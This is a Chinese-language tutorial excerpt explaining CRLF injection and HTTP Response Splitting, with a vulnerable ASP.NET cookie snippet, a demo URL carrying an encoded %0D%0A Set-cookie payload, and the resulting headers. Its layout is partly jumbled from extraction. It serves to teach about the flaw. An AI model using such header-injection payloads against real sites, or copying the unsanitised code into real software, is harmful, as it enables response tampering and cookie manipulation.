中文解釋 | 符號 | 十進位 ASCll | 十六進位 ASCll | |
---|---|---|---|---|
LF | 換行 | \n | 10 | 0x0A |
CR | 回車 | \r | 13 | 0x0D |
CR
或是LF
作為每一行的結束\n
或是\r
的資訊時,如果伺服器沒有過濾就直接回傳給 http header 的話,那攻擊者就可以任意設置一些特殊的http訊息或是直接修改 http response 的內容CR
和LF
用於許多地方,例如:多文本檔案、程式語言,所以攻擊的範圍很廣,這種攻擊用於http時被稱作 HTTP Response Splitting<%
nameValueCollection request=Request.QueryString;
Response.cookies["name"].Value=resquest["text"];
%>
http://macaron.tw/crlf.aspx?text=test
cookies["name"]
http://macaron.tw/crlf.aspx?text=yu%0D%0ASet-cookie%3A%20CRLFcookie=macaron
%0D
:是經過URL編碼的CR
,程式中被視為\r
%0A
:是經過URL編碼的LF
,程式中被視為\n
CR
和LF
作為分界點http://macaron.tw/crlf.aspx?text=yu
Set-cookie: CRLFcookie=macaron
content-type: text/html; charset=utf-8
date: Mon, 12 Oct 2020 14:35:39 GMT
server: cloudflare
set-cookie: name=yu
content-type: text/html; charset=utf-8
date: Mon, 12 Oct 2020 14:35:39 GMT
server: cloudflare
set-cookie: name=yu
set-cookie: CRLFcookie=macaron